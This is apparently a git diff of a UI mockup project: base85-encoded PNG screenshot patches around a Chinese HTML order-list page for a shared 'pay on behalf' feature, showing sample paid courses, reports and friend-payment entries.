za*z>;EG(=`(aUq6pj%bG^^fy^H6CUg$|8$3$x3wJCy*$ElVzYc zgO&y>&6mH90<-!%%I#5;+Y z+Q+Nb;oU;YQWl$bXBVubq@<22&h-KjmpqE}HQdmte3_<=Ja*`mHpTNh<3=7 zAWHO-kd4URp2qvJHj*C)s9XwYT|#ix4yuKg05l6S{CC0Si@qW4zwOVO5ZYzWMgf|1 z%u}_UH+IJ>P6P;XWN~pa_aAk5vr&djS1X4fTP{*0;ksP&MQcLB*uV>_Wi4_d{79KW znqS-IO>%vdMX+HpsOGG3rVO&Kf$-z$H>>rNsIRP&*gie3t}a#em zu6?*sk6g!Q*e^kA`^ZQhcZ$?n;##Vs*R$|5xZi*9cD;?zd2QZUQW8W zef>*&m&MxuNr-z`DMhi!Eky>qL|?rimMUSMNQXy`)EZ_icP3sOEf~M&cpK**W%0G< zudx1f;ni@T>(bX?;~_L1&$?=%+uypF=@E2JX;f;3&-k-=;j0pMcS$O9=x|p>1F1CV z0$~T0w$pkH+VPA-1xdj9+s=AX+YfC2Bh`dj-(Dy7d?mhe1+ShJ3a6t)CIqMOb7%PM zWgT%+_tTe{i&f(M@bU~7l}hG`MET@e?ZRryLgK%mfC9e_j<&tfnZe@&LW1F^1|1? zXV*V{XF!$nblX(E{Y0l^TRY-dJ3Z_F;{y0z$y%AGVd28bEOD`1f`ZNe7{9D;v84K% z(ghJUBUc2I{jF!*sIQLx4y-^R;@~YwLkzAamigII7N<5=FBTqsHxgsjl+$+pL=1lf zCLnmzyv?5Cd0Z}TSX?6V;n;`UUp-vzy2hnST?)CMhPyYCQy4kaAasZ3m<#(aIyzKt z2<5~l$v*0TLr^D!Hs*%-k(X$EWM|m(rRIJ@cI8IYd#c^=hS|=MYEsg$t5nj5CMm!` zLXxj9WUqMpY@e|a8-W!UYI8#+}lo$ zgizIR(@y}Vvj`*E(0&u9@^%Ck134}yXO8_H3r#esw;>^%4O;Kf(5{({Sq z21psKGarKj=-s(HxrA`R{2h#llZ?<<0<(!o?-D9CT~v>%nW?M6Ot zA)8stI;5OuaEeoB5q53QC(qeUvtz&Hz-Q0oJ&iTtfZaUSifc8uB>%}#yzijF_ZkTD zR)yk$&Swo$!>Kn$$K+TQrbLC7^MEORC8}tU3Q3QF>^#B1RBZtXEnu*5v$OY6ojzw9 zhz9?$mB6CZNzd0?MenC`z&ay}G>Jg-x?Hzzm&m%ct%T|wss7uOSnDbYDQLKKS`Oo; zJl3<<8N}B-{P4#4yUP@}tDe`5=(o`S1oRX5$Zz2PQ}+h&5u@-Y7~09b)bFEtQ3%tD zlb6M*rwh?6(3S|A4-!J7dLQsAZL~0mP*kmxoLQ8_EX3h7n?h+fABQL?DuD)0 z^BV!;QYf?~le!?rJiG*ERGgL=77U^(GVc1N8k;m_`7-P39hv9tXg$Y-_bl~ah>W67 zPhnI?<$WTm!d@4(LbNFZIw&Mlf0)5&GS%R2Ul7 zgkw=~xkDw?K5=P?&N0w1_%<}RjjBhK+;bofp{4D72+H%`UV;s~veh34SxfdbVL*9a ze*8Dc3lR0%BG1|Gu$$ey*~IJ$k*zzWSLoR~CG|52CDxLvVKmI8YUDpM=1jpS^WSIR zUHj01B(xd@rM`+=zs?woErY-3%j5w~ch-e*aJrv9Y+sPl{*OCK`P^=kK)DIb# zgNNa+Q7jq_aE7_43qig|Qk=ryzyrTkEg-F8U`MQymx@C|R~kB~g}#+zTxQ^dO)NPB zyGo3=QBx(^QqNE71A_LpdDhSLN#HZZgG$Z+bBd|{`tO|?Y#5*#`$Z!xR00}U2z2VC zu-6{MFJ%79Ba=P~<3N`g5fcq|Oj1#|<-ed=*fdQ$b4RShVv|7xbMDtE2Y7g|MCx{v zz~4g|D|FzH*FE5%I#U*@Xzji_xqmwJe4DjLXka?@OfH974n zLq@)ea&;*94PI(y3QP)zWUo$L|8RtL?R@mAhCSD0$o7(E+{kXsG?G?TIHdU^l-JYrK z*2rf4>}%ZRvTK(EaLK?65sGRSm630y>pp3PAQwFkcDeet=A3fZK?XMiSQt zaR;g3O^&;?sbJ2u-;d@<9Bs%i+#edxN+}$p8#3pX+fMaFM;%uqzkK^|vL*{ai<5e{ z0hiKRP836-Ch0FA2xo@!zeM6OEmij#Mk8vCTxlc#c2N9oWaN-H{ATg9CFKV^X76ZQ z@b+Nsh1+>xM_)20RP8a|wvi1wn^3jnhXDi-a@FSg!Hsh>-7JTe$`dae;p)0fSpYSm z>DJuB?ejW8`vRYdU?n0MHw|ydW^{BvbY$g7*gl|`f)4*p+ou)ZodQO96qadLU0 zb^knp_vgxg(y8~L5bM2C9%0c(2ggkgIJUXm4y?*3b=Xi;#FVIRCL~hWYlpHSTux^_UFvyNajLHt7v*IaT6uSPzXR5K22;ER!&Xo|n!jT> zm^o)zKqEBX(-dLh7UWP+9(BSz9T;Yy#_9AFAT-c)e3xV??b9Vm|Nb#WfJ1lgfUpxH#;0%(r(-V)5j+U%8xU7siiMW4qqXgm^S!1zZ74lUG={o@y z*fVO+_RnT~j4{!MoAEr5!66CwjW=y!fJ??2P6&+Hn~MT6pe@9z%E>}_GyFWB_l72; zixatXaz6MHz*BBQ3Qs+5`w}S%rk=)(&!P%ZnH1oIxnRYapi5uw!A52rHs9C#@Pp%4rf!5hm z8hlrqLaq`4(Pr;rK4B`R7Sq8~ADc^DMa1bC4)b;A-v;jcd0#PeV|lG-czl>{5+BJN z`$sHZYJ)66jef}~^9Y80h82W<{55J84= zrzn7MSz`qmBKI6TCaEx>V6PzrX)W8+IE(PDU^5#1F>V=%`+Q^_ZCX0Dt}KJw8_3?K zwp5}wW=ix%)Jw|o5xyc;Ker@jH1mIM6xc-K!JD5}go_XPuAdHWUW{JJ^@ushQ#U)w zF*g>Xoa3>;9O>AyYhIruyj4_~p&eW?-#Pz51Rz8lB4Nn*3~0)5u0G4QYg!5foqYAR z(C7_yS?YYN!9b#j85R~Un7AytQbOWuCOo+WyuYp32YT(ERUbaQHW%GmwQYMH_eBaq z1pYj7q>o9fs+d)&NFb|mb*YC?&?8Wl4~g+e0>**4XpK_e(kf}$n>F9aBIEKErH4}p zMuS|PDeo|lVb;XP#wXYDG|Ii1r^ijwQq$}c^Op7DyyO3ENutFmiBZs#SGoe6x8f~I8P-Skt#;2JXOIB zLZk?8dn7=`(yfCD?K=|?0UDk+9NJY3?s!GOBO;ba7G|aZw0+^qEZE+|#9tLOL`sMlL|mxQ&m2{_6Pc2_3>U!OaRGO$)y{Ua z8hSSoPvHZ#-3Z-EiLjK%Tg2wa7WmosA_13Y&H}7~kdVl)zP{264um?r9B>e(#U`gE zfRA=F6GoLu`370amjehOb%hX9nX@Cy^cC(};Lm{Mc&&4&?Qv8SV_FKS3M|dTrBsBF z@sYfjAdF}!NC6Ppf-+hFD0&2=+C6dO16nU@dZ%!K8 zZ!9B9msrxy&0fmSbR%^3w`6qj4#v!tMWc2T8Km|rqWYel#S zN~FW3sl}>(rhDyVpJsU|GdlkI1EAl}_NtqZGfiy_*k(XUh-kicNGAS6O{S?;^w{eA zRY3$aoEwVuE(YjwH#c>(=yq_(MMFc=>Oiqx*qm7HorHW>NvQj+^i^C+-xqPvV7qo< zMqUvzO|e=A9gwHREJV zaYSkME zC8>>^6=p#u{I?aq}Wy6kIED+56-FkzBsSC?aaT{(d5t}ySMFoK1QX-7<&ks}O2Ad;pz9&SX zHEm2@M(d19+Ah)HEh9$(KM`d*$a|TC?)^s7)g00asSr<#t%LNrPB1gFQ^3R#byyB` zHXEM}zaSx}BYRtv1%FILZWqHl$t3`x!?ng;Ip|>@#U9ikP7r)JzoQJHEMyd!d-lzY z47&Y?lLi{C&n0CihVT;$-KJjw<8PM-DpXxS=zHR>{E+Mv+iqOc1C<^yVsKJ34Qd={ zRV-Zv@_KP~k)CZi#S{KIgaMVDb#+j&<1DhCmtv%&nql^*+lZ9)zD4lG#zquJOo?C) zV0trRjn-D^S1svJ4+IBr6xL;uZXc^;&`Y-XW97w4o>VkP^x&5CFmmKdJFE`Dt%%S{ zYMKjw%8-mdZx;<$`5e%Hk))z=|tPSu~;loLYtyz$$*6 zh(lVq52k3Rk@Pqk@*eea5n=%9CFYINunvM^rKsSoHx8j?y6!#_Tgsoy5Z{l);+B5@ zfw~o{LCQHzqb7BxVFEt}%25~hKd1k0)vIYBF83&0-}q*UxaLE(%w!kpFA^Rc4EUu| zIBzQjL>=MtzcayGowNBZ*4qliLU>3h++Laisiblu0*Xpl0e2FOJ%n1g>%C`E0Yv8o z6S#G~3UA{9Q=v2?9swY93*^)n@Y!tGEcOY{H%5wVN-+-vwboRxLdpR8Ri?_rfi~x@ zwv7LdYf&j2DdT_739cK6A)emZE1ys##}bmSRstFduEa(v09BnHGE3<#To1BDptv&R z$z;{cQ5|s!{KTnhNi2kx4>VUKTu-BtOlW6K5DY_^!omsMJy{(-%o*VNF#>8P9S-;LN*jWdWl!_^uK1wYTU@P;EyuzyiXs z=L2>f_2RRB_vV;AkK7qiIt;#A330mTz}2I`Pt2hX)T=HIF)-b9uu6Xmf~p*1=r!#V z!S6uOSLCEPP3PCk40nWL6dzGuH8;=Tz*svMaESp6O5(rRTZnsv;}Y=M@>MA=B@mH!J8M(hDka;XAz%(Kt^~3nK$1q6uNL6>|j+_)qtl!$OJBK&hn# za-6&@03i7R%?T-(M3IP7J~(HPYS=dpA8$!OpJjtCGV&UFrUuYpPMSTeg1#}?a$LGa zL6Q%-Y*Gw`Lkn2%PHkem#Kt~?90^H(AoXfWSBX=Ym&^CP10zyrCKOT#Q5t-bh!bNO z2Ub938QMbquTV=r=uZX%R0vr%w12XK@GeBeMLYVQu}W5sw=m-VA@@M=f73t6KYL=M zWWhC8r0x}irdb$t=HaZ|{RbPbZC+NV@%mPQ!)tD~2;WQFuT~YW%jQz-WgX-_Yv{OA z&-q8^K4yLVrN1RxcNsPLtWTRouY82D+{iNCcvIWbTgWrsh~~@&iaL{C>wcdFo4(l0r%AArXWJSog+! zHnTYMX?wK%MPNoPc;sZAVefFdI)Ds&&S_NyC zU&xAJ?2bJFT3Pd}Y%gqKS$v*q>W3CtPwk6421()xG+(%#$H8l-Oq<9u541DAOs z5~?Fv#(6j#KO-)S)>r?0KCX1Cj8(tRpuoMonfxKcUC?$jWe`p&fyvIoAx_R9+l-Ex z+ftTl5uK+ojrU$-f$UMad2J^7=-=MogAb~tS|-+5H7e0$52Wl)L;xu$nJ&Ac7O^ki zd!;+na@753)D?uH=ln24=x%HJOQ$dSTw6dkXSjl9ToP)n>>n+{Jw|!=eyAU|Wp^2;!nwUjpMaOCe)3+GM)=(vNjokdU*W4;t;tv)c5PC=pfDj zBJnbIDH-jQq^rhoOmw_xkpy##qHZ^Bmm(gNrf1AYpMJT+uTFCZX~#<}0@KC2!J5>( zwZ_x+<);$5Jc<9Wy(^E0s(t&Xs3>9L$%Mj?wJ;P)lCp)zGPaBvVnj98FtS&|*m;m- z8PS9^C?;EseT~UBc2m|OWEqTQyr<{){`sY-0kn;VXIa?S1OQ)UF3J>NbdptK{Bf6 z)AIHBO8Z<*BZ-Jxc>G3uylGSt7fFBe>i8ygsbku-`Q0Rsq05#SozChaE@{TKfr!o~ zdK8M)H6P9F;Pdl!vqnR57K=XCKG*KVM4sd&1-A3D89j(iq#ew%MH=WMZ5%_}oG#{` zmAs1m`%`>Xc6K~1rKd;h+!nSx0W@T_d3bXJY~)?}R^Q+TTfB=b1ki<%>l6oA8da|Y zF}d?Fv%ti<{!n_w{gr3wYyt2-WcK(~@*$W?EgXjXYRdV*%~-~8BQk2{M^_Iwtd@Ly zELtFn#Z9(vSk!=89ym+}d(`LzS3P|XZVE+Y{aEQ260BwkW}drxkRfZm{1%-z`Ta=e1XYQN4Tr-qJXBU{F$D|kgu_7FY{T)~V?m%HehNuWW*q4gxh{G` z_|8-P5s$CjPIw7N?KEv0$KR%$R}_u(4_vu_zF|*(`MfY7es`vtdxDTKdAFDG4?1ln zKy)JvfX4Okd}7NdY)z;d`IIg>dLCqjwfdYAjgN;WO*J$<-KQ|wHNpO-K0hJY^TZ}ZZ^e3 zBGrO)3pU2nUr1feux*m%Q{OoMd?t&8jwnYtq34Gl99C43V{1#UNbQQ43 zM}Qu3RKzpun%8fRPF7Q;`5XOl<=^2)xhTTJ@&J^?Mj@QL1b?%1bs(=A2h$Kf1fP@S7SyKf?`oTDPm-tG$dqPr2`oa&2D^+Ri=l z^ZPchczpL$|C{GNeNj}jyY_9Jt-ez27k0^^t57CEN<&!Pv3YgzicyVA^yZTKnh+C}tzIo)xKSp`VVqaIwI_$CBj?2U+m#c5)ETeuZ$x!7 zp>2%U0f}md0iKBdgK{xlqqEm%z^^H}dJ|y!mnQ-u4gmF#|NZ>Io&CwQ1Bu* zr>H1-)yHILos5g{Zyf*PDz92mQNed>a;^+4%!v8NoiW`3TRJZ2g0ko1Cl$)GUYCp9#AxWcew^hK1FCD)AFgA zU31Q=w3RG%Kd;$NM!yRykjiO?4c_fC8CnS*TaGGi-D7kmERs9Tsdb*qd&GIW$IK4PlzdS&MiKELKpqL4;PA>3Z89z&D7PE|9D% zgPt5?&g@r2GrR3sX$K!lD?bO!Z@P%o&APa}hnKC#Xa+9{)DiaQ7Hti?Twc7O%3mbh z=0=s$@a;RbAdz1kOMQe|nVc9SBWLI2JW$9g+-$2kC~14$#5rWIQ%KI*WA8^>$>6)x z$8^#Ab*mx=i>X+X=UTs8=0zr%bEnVzx6{ZFH8j;LN()j?nYC&Y!Tqo=894=OVp^h4 z(Wyb(X_}wc7U=2ipSOB4vgd8(Mtg_cuW5un{4nAw5qPChlp`#Hkk#Qaey~8(le2bD z*}`dPmVMe;8ak0rMSn)Mmr%cCpOUlEet>Q-Ay7P-d0TY5{Y}FmhTfLKp>Ml7pkXrM zy@n;9SyLunpTf<8NZ1N(WyA$QFU2rP6MOqrMDN8#tZL|*Hv}73XldYausl>m zpJXjBt6s71R>;m1JY*#6$gao?((KPZ@1WB>>dcETIAgzwtDt66HioCE7P9w>y2tl& zS6l=c$UHN1WE39W`_nru`=Gb0YGhQb%IF#M*nuUrrz^YI9kgi56Rt?X zLU1_08qdu=;%u3K0a2kDj6WMX)m1hjlu^0my>F2UXjD~Q9nQng#XLpHY=bGaaxgb^ zAUCv+b|guk58WlOn4NJ_BD3m8e&a#4I$Vq_iheOi&R}3ezN1*gmH3)u`l%#hze@(= zp`>bBceh%+dCAZ-=cX>FF=|fAt1R2?1zMzCtH%I#Yh@BAtWal&)gXA6mBn;em(ye+ zErP@KZ^U&0z8<8v*X(E^QQ1J|LoPWxJu4yXIjuU;o~Oyv>w&*>h!@V?0f(zY$bcX8 zq^0gHEx5YRb(zq4n(DX8R?X#zJ(;z?*D1Sglg)Q^v`@cy!DFY(SASdYkL!`0XFI1m z;Ky5EB1y8aTnp$W71}bovi#A0luMW>3VGdpykmu5CG${Py{Uo5{&@Fr(1^Y7_eGKGM;A0b@^$5tAo(4Y$YbxYs|3P#{tBqa>WaSb%TDF{B=IVC#!nzXB zHIMc?vKn8^?-KjmANaK~5T^qbTfZn=un*l!Hz1K-gx98Rn%pKK+==q#eB zkt;W(CncWzOHn3RDOK-IMi3@;y3!zud@ADgv|2pQh(E-8mzH4fk1kBl+V!(u30kVQ zTUeJq@6u!UJ17+EO|rY#_MquyfyIeNQScYL>_P`VLj&NYKFIcKHrR~rfIK_6ndkSu zZX?OG4ktU7U+DDbO_9l+iG$tcF$F(A&=xr((ynety8|93=<nUr(K zl1OBvI!Nww%GBDFooeKwB3IqK>an{icu2jIl4NvaeKh{g&^jSta}HxoPz&DtJkO*F zVq3J$NJzI!3-OD!du0@eS%~EBFj>e}sA!Don_naPXT(L-vNjs0)|M1B$K+0rS}*m1 zMXQ{aWbQWpiP$%1T|yil%q}E@!xX7KMw98!uVco4q`Q^2vtMPNAEdcENuURBow?87-=OYT$#Oc#pOZItn_)^;l=zt%mejB1q1X7;wE%4zZbI$ez|{qYRJ8h-$Nt;_@*bK>seHs}NweQwE8|h6 zEk~!S$z32+dCra|ryDJUL*YbC;22}iSv}HQWrIfZ4vbmE?1(UDq62XkE&H1>1!83|S`vsLL zl|id(WVIWaNYtm+qgu&wSRgqX6fQcn?h(9}&3UVBUAQgFR_&}u!cal{mH51~E;Xgh z$uWwYE2+i$+c@$-{=SMJI6AYYIzi?}bP7&C&Rz@%tZDJ^2>sx7piUv{e?k~wvtl`D zNILb}`mYn|t~6v+uBST1W_bK7xBcaMr>U}&Mv~O^^KOmd(nK=t4{KdNn5hjQqsBWb zN~V?qSnlwH-kQ+QL9?wp`!%glqHisNHPyd0FYsb{f;md{+5F;BT$63z?ol4YH|nJ_ zR9Caln6D#1k`%etGPe9;{3Ah~3VN*tt*y>wWMq^KJ~ZQxtG-y@ToylVhpKv!k#1{S zYd$_X5I?3l*oYL;c|BdZWDo{#eN~XJARgUVI^wx+WMXh%E4pK+u20rmn3?fURt0xKr@;Ryr2wwKWLt2qtzRwQ

      >pt*o%W4Nz%FIY~bA(QXI_j zIUb(GF~|V`5yX^JA6AJzde{v(jN>K-4*>u!Lz#QAC!cu^oIDc)h1|iCX%d_u;Sp2% zkha*coGS~TVzpv9nx2Tg0Na|#+#_*5yZfKEt%GvRJXMHUuNCtt}A^d-tbH z58<~D+Fv%~Mehq@r1in4E~w=1byd-w;7x)@K?WbTK&RDu3WN>=^_AY}A*gwgrQUxo zr5X$(4Pyb|o2l33T!ffzxwaWJLM%%VgvtPWHo}2FE~J;^Ofpmq=H(Uf4AlP^-XsOn zmnSyOCoY@%kxcVN7nd9YZoJ!!`iPQGsJ^({dS2I}$PyE~Se@q%A~4rxGLZQP>z8ZH*FSwlSL)qrJ{{9yRzbwXI%-#; zxSxIX61FM_KdMI}I=wPQIpk8k&OpU5e~D|qu^8<~24<@+L;wKz`b6zVrWpk0x$CE` zMnlHNjzGMGBSTIC!02eqrBNyR1OV_thJ4Sq$)t5LcA$SVV&l-UrL^Vc z<>M#7)Id=fNi2-mHwony7Onvi8+=GalB$ahwGIP{vr}abB&)MU{@HHR+c9)#UP|Yz zb2;r#m|Ou1Bt#%Ow}P=tn>Yuqz)McoiXbqA>=OLupBqs_zUX`;DW!{OR&jnp%}QLm z8HtVUn0=HzuVZ#8qE-t4f=bG1=|*oyxQ>Shm5m7ddiTXWxO`JvHr0TLfIx=so#X`S zeasA645clLQdg_8T_~$@paf~x%Nc*uw_cJD0WW1&iDIw1ov%|aFMJYqdT&B)9R{oA zSDm46wYg2m13;aWK_N#H-VrthcgF!Z{nDvwr)y3;qpT&lk zGu7k3lSoHW+#+x5%bTxFFPzq!$UWxy59oyh4=EF}G5LirSnyBEI#Vp=A4e~jFV?RNeAmDZEM)(}xXPztn$Lq(U>*sB zwRQzD$HVt-f8l*}69e|Yco~!H`a!=?Az3M_1IiPNA`or0+AI@-@KfQ+S%lpA79MP(5YKUw>OoRy7D zQ3;R_kE$d{A(F&${MRg24=6K>>JeY9(}ubEFF0i9vO@CoZr!{;61xNL zJ*ey_2P6f zF8QX?Ga21;1wy`=lHQ#9)b+F%F9ZYx$Y4Ai(c)!4w1_?ooQvBQJd-_tC7w^m;X|eE zg=O{z?IZYM34)CVRnvR!S7YNdJg+1GB-~KCfp4FjT&B@z+DGxjGX(Qggn)uwHi2Mm zV1o@4&)iP;@TPyU8ZLxr45pl;l!j(`~kV-~BQjVA_eY{CA z8W!Pj7>GBLA*MVMZu6aZ%!FZ#YVF2`hwrNh<+)Gff$Qin6?OHB^75J8I+`)cU8z;u zY@mlv`#4bFU=ah(DyQ$0bR?p0VvNd0#z#g9Ejshur}LE2aM;_FR~hQQ3j?1Q1LCKf zk4R&Tgk`1%i(H@K?_keZ90L0D_Q`balQ07;I2>H`(gWvZT3;`u8qBUu^0WA}7R>W# z0nX0OI9$(GaGTedxTC8AB)#qy8}K#@@s3X%>EIapC4@h`+qn!OV_kF^W4z~>qNg$l z&%Ib@U?8sw8gAKhDpji7%IjQQo28M%F#8jk*D1}@Lhs2i8Wc;40#$WFfFa=RqB z5q1I&vy{?SD+ZTr&gYU(6EC5K0L78_abeH#P|SNcI6=kz1NB`57li)*_ + + + + +订单列表 - 代付共享 + + + + + + + +

      +
      + +

      订单列表

      +
      +
      +
      + +
      + +
      + +
      +
      +

      3000万流水如何跑出来(退税模式解析)

      +¥99.00 +
      +
      +
      +总共 5 份 +· +还剩 2 份 +
      + +
      +
      + +
      +
      +

      跨境电商财务合规与架构设计实战手册

      +¥128.00 +
      +
      +
      +总共 3 份 +· +已领完 +
      + +
      +
      +
      + + +
      + +
      +
      +

      2024全球供应链趋势分析报告

      +¥59.00 +
      + +
      +
      +
      +Avatar +
      +
      +

      为好友代付

      +

      张小龙

      +
      +
      + +
      +
      + +
      +
      +

      高保真原型设计进阶课

      +¥199.00 +
      +
      +
      +
      +Avatar +
      +
      +

      为好友代付

      +

      李建国

      +
      +
      + +
      +
      +
      + +
      + +
      + +
      + + + \ No newline at end of file diff --git a/代付页面/stitch_soul/_3/screen.png b/代付页面/stitch_soul/_3/screen.png new file mode 100644 index 0000000000000000000000000000000000000000..d986c388e56bc0d63f7a7b513e39717f8d03853c GIT binary patch literal 114295 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 